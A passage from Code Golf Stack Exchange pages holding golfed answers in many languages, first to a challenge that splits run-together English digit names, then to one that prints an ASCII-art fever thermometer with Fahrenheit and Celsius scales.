~~21~~ 20 bytes ``` ..[eox]|[tse]?.... & ``` [Try it online!](https://tio.run/##HYw7DoAwDEN3DsLYK3CQigEJl2ZpRH9UiLuHpFYW28@523EWEec8eOyfrwX75lTLKvIic6IEnge6Yq0PF3SkGjNQaARuWbNAHUYrpm6W1lis0FzMuX37AQ) This is a port of [my retina answer](https://codegolf.stackexchange.com/a/148683/65326). [Answer] # [APL (Dyalog Unicode)](https://www.dyalog.com/), 25 [bytes](https://github.com/abrudz/SBCS) ``` '..[eox]|[tse]?....'⎕S'&' ``` [Try it online!](https://tio.run/##fY49TgMxEIX7PcVoCwyS2QOkoaKgAArSRSmcZJy1tNjRerw//LSpCIKCkp4LUCNxlL3IYnsT2ApLtsfj9755YlOcrlpRmHXfsyyboWnmDzOyOD/L/GLd89sNO2J93@3e4VIoDdLpJSmj4di6xa2y1tcnSSKh277AP4gkCYgpWsLyF5Ik5BvRet/tPjmbMN5tX3n39MWA8e8P6buPf1ZYCot2eF9dT88ncCGhNQ5qoQnIgEUEyhFKUXNw66LlsHAElSjUCoyjjSMOJW4KsURIw/AUakU5pDLNhjSM8hKRDTWqdU5WNfunVBVK40qLFep9TyuN0eJlY2vUqSYSqDbBOqJEZSgOroAxGiPZ39HGRoHix3CoJogPO0DGQw6Ro2uMucPSeLKXDcN9vn2AiI3SAGQ/ "APL (Dyalog Unicode) – Try It Online") [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 36 bytes ``` œṣj⁶;$} W;“€ɗİẒmṫṃ¦¦ạỊɦ⁼Fḷeṭḷa»s2¤ç/ ``` [Try it online!](https://tio.run/##JZA9TsNAGER7zkGPRJueK1BTbIijxJYcE34kJAIdZShoaBDIFASJCnBCZaDIMdYXWeaNJe/3ZnfnbeFxmEzOU/q7i83TuFt8DHYvdw4H3dVDd73a3v@@x/VyGpvX2Ny0dVvH9WPc3G7rbvF9EL8@Q2zehKN2M9tvn39e9lJKF6EsWEUeQHXqXTUqg/fD4qQ0s7n3s@zMCPOQE0J2PKoIeZaHwp@eYPKCyANAviCdiS1aFnFl8WGJWECWIIuJJdoSbbnPsOGAQ8Ay7ZF6k4SL4SUBqm9QJ7hNcJmSFiXgkkJfUqCkSz7uRF@JvvEZoz8lce6dBzsW//If "Jelly – Try It Online") Algorithm: ``` for x in ['ze', 'ni', 'on', 'tw', 'th', ...]: replace x in input by space+x ``` I bet we can do even better. [Answer] # Mathematica, 125 bytes ``` (s=#;While[StringLength@s>2,t=1;a="";While[FreeQ[IntegerName/@0~Range~9,a],a=s~StringTake~t++];Print@a;s=StringDrop[s,t-1]])& ``` [Try it online!](https://tio.run/##PUzLCsIwEPyXCKJY0XqTEOlBBEHEF3gIOSyyTYI2lWSpnvLrsbTqYYYZ5lEBGayA7A1SKdIoiAG/GvtAeSZvnd6h02SKsFpkJHIOgrFvvvGIR7l1hBr9HiqcFfN4AqcxLjNQGYgQ@48L3DHSZKL4obVUAA@iT9a@fsqQ0TRXajxMpWRk2tuADbqe7NtZhz@UtkG02hC96r9uO92qM0ylDw "Wolfram Language (Mathematica) – Try It Online") TIO outputs an error message about "CountryData"(???) I don't know why this happens, but eveything works fine on Mathematica [Answer] # [Perl 6](https://perl6.org), ~~42~~ 30 bytes ``` *.comb(/<{(0..9).Str.uninames.lc.words}>/) ``` [Test it](https://tio.run/##VVNNT8MwDL3nV/iA0MpYymkSlE07wA0hIThyGa3HInVN1WRfTPtl3PhjxXbSFqQ2Sh2/9/wct8amnLZbh7Cb6jxTmyNc5rZAmLVXOrebj1F6fxrdaH2b6Fff6G1lquUGnS5zvbdN4c7zNGkFt/DoPMzg5c7b9PH5IdWlqdD9fEee9/04TTL1hY0lErTyoPlce7@3DndY@XWD6MxhZbcNxVZmhzCZAyOAIWDjKyigFBAcCBAICQyVAwarECcK2SiBcRZFAgV9KM5kWKCiI9EVIgkplu5K6xmlnkE3CAiNOXSmOgOBi7KGuqU8XgTIm4489kakuwb1VQVB2faqQ2uCg75Bwb4Ew2IOnNq9zPK30q47guplo0VhjisJi@SwSEH/zQ0NjhShJL5LKpCygnHqTDQv5JIklN29sxvmjM65k739UE8QYpCiqVOKh/mNRjFTdbmsYCxzmdHdNHFEiXp0Yap666/haoGHGnOPRQInBWDcpECsyyPwXxDTEv1kHCX3ufE7nGbq3P4C "Perl 6 – Try It Online") ``` {m:g/..<[eox]>||<[tse]>?..../} ``` [Test it](https://tio.run/##VVLBUsIwEL3nK/bgOCDS3jhQQA56c5xx9IYetCyQmdJ0mgBF4Mu8@WN1d5O22mkz6Wbfe/s2W2CZjeqdRdiPojRR2yNcp2aJMK1P2/E6jqLJAk31PjufJwtn8X12F9ETX2rJnTu0DqbwPHYmfni6j6NM52h/vqPUbD978dthEPcT9YWlyenAyIt6vXHuYCzuMXebEtHqamV2JcVWeo8wnAEjgCFgwicooBQQHAgQCAkMlQMGKx8nCtkogXEWRTwF/SjOZJinoiPRFSIJKZZuSmsZpZ5O1wsIja4aU40Bz0VZXd1SHi8C5E1DHnoj0k2D2qq8oGxb1a413kHbIG9fgn7RFac2H7P8rbTpjqBa2WBRmMNKwiLZLVLQf3NdgwOFL4nvkgqkLG@cOhPMC7kkCWVz7@yGOYNz7mRr39fjhRikaOqU4gF@pVFMVJF95DCQuUzobsowokTdu9J5sXO3cDPHqsDU4bIPJwWg7XCJWGRH4MkPaX2a4RdXRo/aEqRFhH@fk6hL/Qs "Perl 6 – Try It Online") (Translated from other answers) [Answer] # q/kdb+, ~~59~~ 51 bytes **Solution:** ``` {asc[raze x ss/:string`z`one`tw`th`f`s`ei`ni]cut x} ``` **Example:** ``` q){asc[raze x ss/:string`z`one`tw`th`f`s`ei`ni]cut x}"threesevensevensixninenineninefiveeighttwofiveeightsixthreeeight" "three" "seven" "seven" "six" "nine" "nine" "nine" "five" "eight" "two" "five" "eight" "six" "three" "eight" ``` **Explanation:** Quick solution, probably better and more golfable approaches. ``` {asc[raze x ss/:string`z`one`tw`th`f`s`ei`ni]cut x} / ungolfed solution { } / lambda with implicit x as input cut x / cut x at indices given by left asc[ ] / sort ascending string`z`one`tw`th`f`s`ei`ni / string list ("z","one",...) x ss/: / string-search left with each right raze / reduce down list ``` **Notes:** 46 bytes with some simple golfing, replacing q calls with k ones, but still a hefty solution. `asc[(,/)x ss/:($)`z`one`tw`th`f`s`ei`ni]cut x:` ]
[Question] [ [Dennis](https://codegolf.stackexchange.com/users/12012/dennis) puts in a huge amount of effort for this community, including as [moderator](https://codegolf.stackexchange.com/election), [language designer](https://github.com/dennismitchell), and provider of [TIO](https://tryitonline.net/). Unfortunately, his [four-year-old](https://chat.stackexchange.com/transcript/message/36981175#36981175) daughter has [caught a cold](https://chat.stackexchange.com/transcript/message/36971077#36971077), so let us all help him keep track of her recovery (may it be speedy) by providing him with [a thermometer](https://en.wikipedia.org/wiki/Medical_thermometer#/media/File:Quecksilber-Fieberthermometer.jpg): ``` .-----------. | | | | '-. .-' .-' - '-. |107.6- 42.0| |106.7- 41.5| |105.8- 41.0| |104.9- 40.5| |104.0- 40.0| |103.1- 39.5| |102.2- 39.0| |101.3- 38.5| |100.4- 38.0| | 99.5- 37.5| | 98.6- 37.0| | 97.7- 36.5| | 96.8- 36.0| | 95.9- 35.5| | 95.0- 35.0| '---. - .---' | - | |---| | | '---' ``` Since [Dennis does not have much time to read code](https://chat.stackexchange.com/transcript/message/36970915#36970915), you must keep yours as short as possible. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), ~~90 89 84 83~~ 82 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page) -1 byte thanks to Erik the Outgolfer (replace `10` with `⁵`) ``` 15r1×€9,5+“£Ȧ“¡^’d⁵Dj€€”.j€⁾- Uz⁶ZUj@€⁾|| “¡ẹƭgụḌẊṘgYƊxyẓṡƝçƤ5ȥṭ’ṃ“.| '-”s7ŒBs5j¢Y ``` **[Try it online!](https://tio.run/##y0rNyan8/9/QtMjw8PRHTWssdUy1HzXMObT4xDIQtTDuUcPMlEeNW12ygJIg1DBXD8xs3KerEFr1qHFbVGiWA0SgpoYLrOfhrp3H1qY/3L304Y6eh7u6Hu6ckR55rKui8uGuyQ93Ljw29/DyY0tMTyx9uHMt0PCHO5uBmvRqFNR1gWYXmx@d5FRsmnVoUeR/oHDhwx2tQGUPd848tOnUAqeHuxY@3L310O6HO1sO7zi06D8A "Jelly - Try It Online")** ### How? ``` 15r1×€9,5+“£Ȧ“¡^’d⁵Dj€€”.j€⁾- Uz⁶ZUj@€⁾|| - Link 1, body: no arguments 15r1 - inclusive range(15,1) = [15,14,...,2,1] 9,5 - pair nine with five = [9,5] ×€ - multiply for €ach = [[135,75],[126,70],...,[18,10],[9,5]] “£Ȧ“¡^’ - list of base 250 numbers = [941,345] + - addition = [[1076,420],[1067,415],...,[959,355],[950,350]] d⁵ - div&mod 10 = [[[107,6],[42,0]],[[106,7],[41,5]],...,[[95,9],[35,5]],[[95,0],[35,0]]] D - convert to decimal lists = [[[[1,0,7],6],[[4,2],0]],[[[1,0,6],7],[[4,1],5]],...,[[[9,5],9],[[3,5],5]],[[[9,5],0],[[3,5],0]]] ”. - literal '.' j€€ - join €ach for €ach = [[[1,0,7,'.',6],[4,2,'.',0]],[[1,0,6,'.',7],[4,1,'.',5]],...,[[9,5,'.',9],[3,5,'.',5]],[[9,5,'.',0],[3,5,'.',0]]] ⁾- <space - literal ['-',' '] j€ - join €ach = [[1,0,7,'.',6,'-',' ',4,2,'.',0],[1,0,6,'.',7,'-',' ',4,1,'.',5],...,[9,5,'.',9,'-',' ',3,5,'.',5],[9,5,'.',0,'-',' ',3,5,'.',0]] U - upend (reverse each) = [[0,'.',2,4,' ','-',6,'.',7,0,1],[5,'.',1,4,' ','-',7,'.',6,0,1],...,[0,'.',5,3,' ','-',9,'.',5,9],[0,'.',5,3,' ','-',0,'.',5,9]] z⁶ - transpose space filler = [[0,5,...,5,0],['.','.',...,'.','.'],[2,1,...,5,5],[4,4,...,3,3],[' ',' ',...,' ',' '],['-','-',...,'-','-'],[6,7,...,9,0],['.','.',...'.','.'],[7,6,...,5,5],[0,0,...,9,9],[1,1,...,' ',' ']] Z - transpose = [[0,'.',2,4,' ','-',6,'.',7,0,1],[5,'.',1,4,' ','-',7,'.',6,0,1],...,[5,'.',5,3,' ','-',9,'.',5,9,' '],[0,'.',5,3,' ','-',0,'.',5,9,' ']] U - upend = [[1,0,7,'.',6,'-',' ',4,2,'.',0],[1,0,6,'.',7,'-',' ',4,1,'.',5],...,[' ',9,5,'.',9,'-',' ',3,5,'.',5],[' ',9,5,'.',0,'-',' ',3,5,'.',0]] ⁾|| - literal ['|','|'] j@€ - join €ach (reversed @rgs) = [['|',1,0,7,'.',6,'-',' ',4,2,'.',0,'|'],['|',1,0,6,'.',7,'-',' ',4,1,'.',5,'|'],...,['|',' ',9,5,'.',9,'-',' ',3,5,'.',5,'|'],['|',' ',9,5,'.',0,'-',' ',3,5,'.',0,'|']] - effectively ["|107.6- 42.0|","|106.7- 41.5|","|105.8- 41.0|","|104.9- 40.5|","|104.0- 40.0|","|103.1- 39.5|","|102.2- 39.0|","|101.3- 38.5|","|100.4- 38.0|","| 99.5- 37.5|","| 98.6- 37.0|","| 97.7- 36.5|","| 96.8- 36.0|","| 95.9- 35.5|","| 95.0- 35.0|"] “¡ẹƭgụḌẊṘgYƊxyẓṡƝçƤ5ȥṭ’ṃ“.| '-”s7ŒBs5j¢Y - Main link: no arguments (using "..." below to represent lists of characters) “¡ẹƭgụḌẊṘgYƊxyẓṡƝçƤ5ȥṭ’ - base 250 number = 1694125525350532761476179586378844141697690917975 “.| '-” - literal ['.','|',' ',"'",'-'] ṃ - base decompression = ".------| | '-. .-' -'---. - | - |-- | '--" s7 - split into 7s = [".------","| ","| ","'-. ",".-' -","'---. -"," | -"," |--"," | "," '--"] ŒB - bounce (vectorises) = [".-----------.","| |","| |","'-. .-'",".-' - '-.","'---. - .---'"," | - | "," |---| "," | | "," '---' "] s5 - split into 5s = [[".-----------.","| |","| |","'-. .-'",".-' - '-."],["'---. - .---'"," | - | "," |---| "," | | "," '---' "]] ¢ - call last link (1) as a nilad j - join = (using "..." below to represent mixed-type lists from the result of ¢) = [".-----------.","| |","| |","'-. .-'",".-' - '-.","|107.6- 42.0|","|106.7- 41.5|","|105.8- 41.0|","|104.9- 40.5|","|104.0- 40.0|","|103.1- 39.5|","|102.2- 39.0|","|101.3- 38.5|","|100.4- 38.0|","| 99.5- 37.5|","| 98.6- 37.0|","| 97.7- 36.5|","| 96.8- 36.0|","| 95.9- 35.5|","| 95.0- 35.0|","'---. - .---'"," | - | "," |---| "," | | "," '---' "] Y - join with newlines = : .-----------. | | | | '-. .-' .-' - '-. |107.6- 42.0| |106.7- 41.5| |105.8- 41.0| |104.9- 40.5| |104.0- 40.0| |103.1- 39.5| |102.2- 39.0| |101.3- 38.5| |100.4- 38.0| | 99.5- 37.5| | 98.6- 37.0| | 97.7- 36.5| | 96.8- 36.0| | 95.9- 35.5| | 95.0- 35.0| '---. - .---' | - | |---| | | '---' ``` [Answer] ## Batch, 325 bytes ``` @echo off for %%l in ("| |" "| |" "'-. .-'" ".-' - '-.")do echo %%~l set/ac=42,d=5 for /l %%f in (1076,-9,950)do call:c %%f for %%l in ("'---. - .---'" " | - |" " |---|" " | |" " '---'")do echo %%~l exit/b :c set f= %1 set/ac-=!d,d=5-d echo ^|%f:~-4,-1%.%f:~-1%- %c%.%d%^| ``` [Answer] # [SOGL](https://github.com/dzaima/SOGL), ~~98~~ 97 [bytes](https://github.com/dzaima/SOGL/blob/master/chartable.md) ``` ▼⅜¦┌Υ υl←│Γφγ⅔3wο╚°⁸ofč√&@⁶‘O’⁴∫ |O:9L/*’a6L/+;-l4=?@o}oƧ- o12/*’ ;-o |o"ģ⌠℮Ζ║Kgš‰¶¶ksθ○╤Ƨ%←└⅟ΟS‘ ``` note: the 3 spaces close to the beggining of the program are a tab Explanation: ``` ...‘O output the beginning part ’⁴∫ repeat 15 times, pushing (0-indexed iteration) |O output in a new line "|" : duplicate the iteration 9L/ push 0.9 (9/10) * multiply [0.9 and the iteration] ’a6L/+ push 107.6 (107+6/10) ;- reverse subtract (107.6 - 0.9*iteration) l4=? } if length is 4 @o output a space o output the number Ƨ- o output "- " 12/ push 0.5 (1/2) * multiply that by iteration ’ push 42 ;- reverse subtract (42-0.5*iteration) o output that |o output "|" "...‘ push the ending part ``` To save one byte, I made it push the ending string every time in the loop just so it could get outputted once. [Answer] # [V](https://github.com/DJMcMayhem/V), 113 bytes ``` i|1076- 420|14ñÙ9l5ñÎeé.$hé. ç|9/á o'³-. - .³-' | - | |³-| |³ | '³-'4>3kHO.±±-. |±± |Ùo'-.· .-' .-'³ -³ '-. ``` [Try it online!](https://tio.run/nexus/v#@59ZY2hgbqarYGJkUCNtaHJ44@GZlhI5phJARl/q4ZV6KhlAguvw8hpL/cMLFbjy1Q9t1tVT0FXQA9LqXDVAVg1XDZANJoFskLy6tImdcbaHv96hjYc26uoBZYC0Qo304Zn56rp6h7Yr6AG1AjFQgy4QA8X@/wcA "V – TIO Nexus") Hexdump: ``` 00000000: 697c 3130 3736 2d20 3432 307c 1b31 34f1 i|1076- 420|.14. 00000010: d939 186c 3518 f1ce 65e9 2e24 68e9 2e0a .9.l5...e..$h... 00000020: e77c 392f e120 0a6f 27b3 2d2e 202d 202e .|9/. .o'.-. - . 00000030: b32d 270a 7c20 2d20 7c0a 7cb3 2d7c 0a7c .-'.| - |.|.-|.| 00000040: b320 7c0a 27b3 2d27 1b34 3e33 6b48 4f2e . |.'.-'.4>3kHO. 00000050: b1b1 2d2e 0a7c b1b1 207c 1bd9 6f27 2d2e ..-..|.. |..o'-. 00000060: b720 2e2d 270a 2e2d 27b3 202d b320 272d . .-'..-'. -. '- 00000070: 2e . ``` More golfing on the way! [Answer] # PHP, 187 Bytes storing 4 spaces in a variable saves 7 Bytes ``` <?=".-----------. |",$f=" ","$f | |$f$f | '-.$f .-' .-' - '-. ";for($n=85;--$n>69;)printf("|%5.1f-%5.1f| ",$n*.9+32,$n/2);echo"'---. - .---' $f| - | $f|---| $f| | $f'---'"; ``` [Try it online!](https://tio.run/nexus/php#RY7RCsJQCIbvfYoQ42w1jRaLxmn1MJHUzdkYXfruJ88hSPj9P0XUfL1PKPwPAcOOdMKNB3ZI6m5gpD8KLJWEA7ic2OVdwKjz2lCaLkNkpnQ7j7Fd1nf6aIO2HeSoXLOBn0g7Gfen3uHQt/H5eM0Yyn1fV/4JQGrOVtzr6vUB0jIXMOb8BQ "PHP – TIO Nexus") # PHP, 188 Bytes ``` <?$s=".000--. |1223|1223'-.12.-' .-'1-1'-. 4";for($n=85;--$n>69;)$t.=sprintf("|%5.1f-%5.1f| ",$n*.9+32,$n/2);$s.="'0. - .0' 2| - 32|032|132'0'";echo strtr($s,["---"," "," ","| ",$t]); ``` [Try it online!](https://tio.run/nexus/php#JY3BDoIwEETv/YpmU1NQdm23YiQV/RDjyUjwUgjtsf@OFQ/zZuYyc73P47yq2AMZYxBJZMvsNmgky4RaFFm0pYoT@GFaKhX6S@sRVbidO1@rRH2cl09IQwV515IdcGMW0Kiwp@7guIQj115F6kEbkijJaMG5BMfZFFnH2mjw79c4yZiWVI5i8wBEhAaklH/@bBtOz9qv6xc "PHP – TIO Nexus") ## PHP, 220 Bytes ``` <?=gzinflate(base64_decode("XZBJCkUhDAT3niI7VzbOw908/O/EwIMviCnLQBukbyFc+db9o5jgNVIM3KwSd9S+khdmkl6Rr9LEIhUMo4Ft9FzHIWV3HdnouYaSpB13FdXouYJG2u4yupE6OewgLXNytmYhPbc0S5vupmYhPTc0SxvuhmYhZf0t58H/gWcMNgHSfRXvvLLJiE2B734=")); ``` [Try it online!](https://tio.run/nexus/php#FcZRU4IwAADg/@KTng@QA3RXXhcGMRpQThF96Rgbg1DgkkHw54m@p298et6KIS/Ta9zwOY3v3NC@GE8qxuez6GK6u@KYvb4cQJmjdTjQoIPqRgkUq0Nem@9K/GnKgvZ2smQUVvq38EPkgfeOMEiWRcZuxdXY/0BsoezoVZrdQHtw0CkEDisreY5JbT4Am0XT3beV1HpZW0bAO4Ejv29u5@yDJirRW1n//zD9t5XZ9EuqNvrGUcQp8XzhkHQftS3Gbm6tzDXQtrPF4nEc/wA "PHP – TIO Nexus") ## PHP, 247 Bytes ``` <?=bzdecompress(base64_decode("QlpoNDFBWSZTWREU1+kAAEnYgEiQQIN/4AAEMAC6bDTRA1NBtqglJ7VIA0AJNSEAAXhknxmxdEkbQhoFWMYrEL1cASWoMYgwHEpJJJKZmZ638CwPCeQHBCLKs3qj1vvz37lF4trWtWviLC4wJoHJywEMA8GmAh2WwUSEom/JeNAioiokhJa9V5bL02pVVVXw+EiwPxdyRThQkBEU1+k=")); ``` [Try it online!](https://tio.run/nexus/php#HY7BboJAFAD/xZPGgyIUbaxpHrgUVyAuICtcGpENUMBFMCz689T2OHOZGT4@N/EzYRde1Q1r23F8bpmqfP@ZhI1HpKy5szU06kU@ddFRmhYA6BqmKCdk58yUF9mgq/HWd0FytPstLfEy2MEcsOMhgFNWXPuqT1ARk4wb1A4bZEkX8Ci3w1SYqMYY76MqUuWVLg46I6amW/tWvv1IXfeUl6Wh3Bt6p11u6YrA3MQP8UquvirIFlQcPcSrGWYO5DznRYbP78FbbM0XdRAEJzFFuTj0ycP1M1Jo//@b0WSyHoZf "PHP – TIO Nexus") [Answer] # [Python 2](https://docs.python.org/2/), 163 bytes ``` i=89 for x in("------.x|x|x.-'x- '-."+"x"*16+"- .---'x- |x--|x |x--'").split('x'):y='%%-77ss'[i>80::2]%x;print['|%5s- %s|'%(32+.9*i,i/2.),y[:0:-1]+y][x>''];i-=1 ``` [Try it online!](https://tio.run/nexus/python2#HYpBCoMwEEX3PcUQCKPGSdXSqhG9SMi2MFCsGBcj5O7W@t/iLd4/eOz62/u7ggDPmaJrVtKJJRQCACSrjBJV1C@jCOx5@IckREngMqrcxuXDW4aCudtH1JraNkb0PHWVc03QMiwrz5vHpJ@RQMeEOns0xvYFl3xvbF7u3lWO6mD24GVCDAPTWB/HDw "Python 2 – TIO Nexus") [Answer] # [APL (Dyalog)](https://www.dyalog.com/), ~~144~~ 143 [bytes](https://codegolf.meta.stackexchange.com/a/9429/43319 "When can APL characters be counted as 1 byte each?")[SBCS](https://github.com/abrudz/SBCS ".dyalog files using a single byte character set") ``` m←⊢,1↓⌽ 1⌽'.||',⍣2⊢11/⍪3↑d←'-' m 7↑a←∪∊z←⊂'''---. -' m(6↑⌽a),d ⊃{'|',⍵,'-',⍺,'|'}/(5 1⍕⍪)¨35 95+↓.5 .9∘.×⌽⍳15 ↑m¨z,¯7↑¨'| -' '|--' '| ' '''--' ``` [Try it online!](https://tio.run/##HY8xCsJAEEX7PcV2o7i7usoqHsHKMwSCNgZt1dgoxBCMKCJaaxNsLMRGsIk3mYvEnzR/dpg/7896s4n2595kOi54fx4MOTq0BMfbURHgyclNWY5OvPsKCyEThqQ4vbcxsbbJ6aPD0dGHlTSJQPbQeeVi/OA4WVSINRFprY0sHbUuHCB5deULTjZLqoBvhX3Uj0K/atactJyega/nWcfJvmvgCuOk6XN8Nb8LCJy@rBOgBXm2UPmzjM4zChEjKdSVSgkt06nAn4rRHw "APL (Dyalog Unicode) – Try It Online") [Answer] # [///](https://esolangs.org/wiki////), 261 bytes ``` /`/\/\///i/| |`~/---`_/ `+/- `f/.5`z/.0`(/i10`)/i 9`!/| |/ .--~~~. | ___i ___| '-. __.-' .-'_-_'-. |107.6+42z(6.7+41f(5.8+41z(4.9+40f(4.0+40z(3.1+39f(2.2+39z(1.3+38f(0.4+38z)9f+37f)8.6+37z)7.7+36f)6.8+36z)5.9+35f)5.0+35z| '~. - .~' | - !~!_| '~' ``` [Try it online!](https://tio.run/nexus/slashes#JY9NCsQgDIX3niJdqUgSrX/tXQZ0JfQKIl69E2YI5Hsh4fHycuePFPPDS62@GRF7YwDojhH6YMp9Mvlu@Am@W37g7occywksVoS49ya1AFprz68vpZFEEGrZ64ZNZrWCr1RcOqcpVF0Kw2S6hNMkul3yQ@iF00QKLt7DnHQKpwkUXbyG8ZSE097DxTrsJXaxTlvFLpZhi9jFMm0Wu5iH0AunxNkECLT1P7XoYx/t/4Pe@n2/ "/// – TIO Nexus") Works by using common occurrences like `---` as replacements. Nothing fancy. [Answer] # JavaScript (ES8), ~~198 193~~ 189 bytes Number formatting is a bit costly in JS and I seem to be stuck at this byte count. [You win this time, PHP!](https://codegolf.stackexchange.com/a/117736/58563) ;-) ``` _=>`.111--. |67| |67| '-.8.-' .-'4-4'-. ${9e14}'1. - .1' 5| - | 5|1| 5|4| 5'1'`.replace(/\d/g,n=>n%9?''.padEnd(n-1)||'---':`|${F(32+.9*i)}-${F(i--/2)}| `,i=84,F=v=>v.toFixed(1).padStart(5)) ``` [Try it online!](https://tio.run/##JYxNasMwEIX3OkUWCZJaz5hJlTYuyF3VF@i2UAtLCQpGMo4xhchnd2W6eN/7Wbybmc29G/0wQYjWrRe9/ui6RSICQJZe39I/OOAZgbMsBSo3tn9UjtTCCXewQ@LslHJI2WiDyuDEWxzd0JvOifLbltci6Docqg/OcTD2M1gRgGRKHAD4e5v2j0a8HJ@xevJyga15gPIol8TawuuzKho963rGKTb@11lBcjv6msw4iZOUaxfDPfYO@3gVF5GHPw "JavaScript (Node.js) – Try It Online") [Answer] ## Mathematica 247 Bytes Hmmm... same as PHP ``` Uncompress@"1:eJxtkLsNAyEQRM+d4OgiRssf2rBTR27ADdCG+/WAODYxEkL7eKDR3N+fx/N7Ow5YXXiJ893o6n/BabFG2HMAHhws97n+cFKQrYke0hfIKAQO6QIJdYJtRDQCUSNCJthGgLMmNDU8/ATbcAgEVQ1BnGAZpvE1QbkM0+pISrCNMpKGrEYeSQm2kUbSkNRIIymBrILYJfsY3c6CZnUEfQ+80eEq1swG+eYH1XhZzA==" ``` [Answer] # [Japt](https://github.com/ETHproductions/japt), 106 bytes ``` [".{6î-} | '-. .-' -"y y 9"' - - - .|||' - - --- -"y]·mê0R d9FÆ"|{S+(#k6-9*X)t4n)i.J}- {½*Xn84)x1}|"÷ ``` [Test it online!](http://ethproductions.github.io/japt/?v=1.4.4&code=WyIuezbuLX0KfAonLS4KLi0nICAgLSJ5IHkgOSInICAgIAotCi0KLQoufHx8JwogIC0gLQotLS0gLSJ5Xbdt6jBSIGQ5RsYifHtTKygjazYtOSpYKXQ0bilpLkp9LSB7vSpYbjg0KXgxfXwiw7c=&input=) Many thanks to [@obarakon](http://codegolf.stackexchange.com/users/61613/obarakon) who got the code working in the first place, and did quite a bit of the golfing. ### Explanation First we have **the data**: ``` [ // Create an array of: ".{6î-}\n|\n'-.\n.-' -" // This string ({6î-} inserts 6 hyphens), y y // transposed twice to pad it with spaces; 9 // the number 9; "'\n-\n-\n-\n.|||'\n - -\n--- -" // and this string, y // transposed once. ]· // Join the array with newlines. ``` This gives us ``` .------ | '-. .-' - 9 '---. - | - |-- | '-- ``` That is, the left half of the thermometer, with the main rectangle replaced with a `9`. Note that every line is padded with spaces except the one containing the `9`. ``` m R // Map each line with the function ê // ê, or "bounce"; mirrors the string about its last character ("abc" -> "abcba"). // (The 0 is just filler because `m` expects the `R` to be the third parameter) ``` The net effect is that it mirrors the left half of the thermometer to the right: ``` .-----------. | | '-. .-' .-' - '-. 9 '---. - .---' | - | |---| | | '---' ``` Now that we have the ASCII-art part, all we have to do is put in the main rectangle: ``` d9FÆ "|{S+(#k 6-9*X)t4n)i.J}- {½ *Xn84)x1}|"à · d9FoX{"|{S+(1076-9*X)t4n)i.J}- {.5*Xn84)x1}|"} qR FoX{ ... } // Create the range [0...15), and map each item X to "|{ ... }- { ... }" // this string, with the two blanks filled in with... S+(1076-9*X)t4n)i.J 1076-9*X // Calculate 1076 - 9*X. This gives us °F * 10. S+( )t4n) // Prepend a space and take only the last 4 chars. // This pads the entries under 100°F to the correct length. i.J // Insert a decimal point before the last char. // This turns e.g. "1076" to "107.6". .5*Xn84)x1 Xn84 // Take 84 - X. .5* ) // Multiply it by 0.5. This gives us °C. x1 // Convert to a string with exactly 1 decimal point. qR // Join the resulting array with newlines. d9 // In the thermometer art, replace "9" with the resulting string. ``` And that concludes our ASCII-art generating session. Tune in next week to see more kinda-short ASCII-art programs written in Japt! [Answer] # [Charcoal](https://github.com/somebody1234/Charcoal), 62 bytes ``` ←⁶↓.↓²'-.¶.-'¶↓¹⁵'³↓.↓³'²M²↖¹↑×¹⁹-‖OM⁵¦¹⁶←E¹⁵⮌⁺⁺⁺⁹⁵×·⁹ι- ⁺³⁵⊘ι ``` [Try it online!](https://tio.run/##jZC9DoIwFIV3n6LpQptQYiGYAKuDg0RCZHMheIkkFQggPn69qPxEHezQJuc7Pee22SVtsipVWkdNUXbM30PemWTDg9Vb2Fb30iTUop@SPQnUENaptIRxKr9c0l3YZur8UeD8vDnUhlUPzDaJn9TDvBOTc0RSm@RYXKFl0sN0QTmyGHIFWXfooVFpzcYkF8dcvPj1BSEaJJIY0N0Ci9StXWyeO@avLSwoOB9aCMXjyR3ku1T1cGbIhhVorUWvHg "Charcoal – Try It Online") Link is to verbose version of code. Explanation: ``` ←⁶↓.↓²'-.¶.-'¶↓¹⁵'³↓.↓³'²M²↖¹↑×¹⁹- ``` Print the left half of the thermometer. ``` ‖O ``` Reflect it to complete the body. ``` M⁵¦¹⁶←E¹⁵⮌⁺⁺⁺⁹⁵×·⁹ι- ⁺³⁵⊘ι ``` Compute the scales and print them reversed and up-side down, which right-justifies them. At time of writing, Charcoal's concatenation operator converts floats to strings using Python's built-in `str` which appends `.0` for floats that represent integers, otherwise I would have to resort to formatting, as its `Cast` operator specifically avoids that behaviour. [Answer] Since there's a pandemic out there, I thought the world could use one more thermometer: # [Perl 5](https://www.perl.org/), 180 bytes ``` say$_=".-----------. ",y/.-/| /r x2,"'-. .-' .-' - '-.";map{printf"|%5.1f-%5.1f| ",32+$_*.9,$_/2}reverse 70..84;say"'---. - .---' | - | |---| | | '---'" ``` [Try it online!](https://tio.run/##RY1RCsIwEET/e4oQIgHtbtpoUCkewTOUfqRQ0DakRSzGqxs3reDCLG@HZcZZfzMxjs0s6gtH@A9mPJ8VggpMefbUOZeAbB0EmZGIgEQ@r@6Neznf9VPLw8Zg2cKyA6Xs9U7UWzznolb67e3D@tGyY4F4OlTUTMFUR1GpXmapINAVViLvR0kLpX/JY/wMbuqGfoxwNViUxRc "Perl 5 – Try It Online") [Answer] # vim, 222 keystrokes ``` :.!seq 42 -0.5 35 :%!awk '{printf("|\%5.1f- \%.1f|\n",1.8*$1+32,$1)}' Go'===. - .==='<ESC>yy :s/=/-/g p :.!tr "'.=" ' | ' :s/ *$/ yyP :s/-/ / ddpPlR---<ESC>yyGp :s/|/'/g ggO..<ESC>11i-<ESC>yyP :.!tr .- '| ' yypo'-.<ESC>7a <ESC>a.-'<ENTER>.-' - '-.<ESC> ``` [Answer] ## C, 222 bytes ``` f(){puts(".-----------.\n| |\n| |\n'-. .-'\n.-' - '-.");for(float n=108.5,m=42.5;m>35;printf("|%5.1f- %.1f|\n",n-=.9,m-=.5));puts("'---. - .---'\n | - |\n |---|\n | |\n '---'");} ``` Despite attempting to shorten the string, hardcoding it in a plain format is the best option. I doubt that any (significant) improvement is possible in C. [Answer] # Deadfish~, 2064 bytes ``` 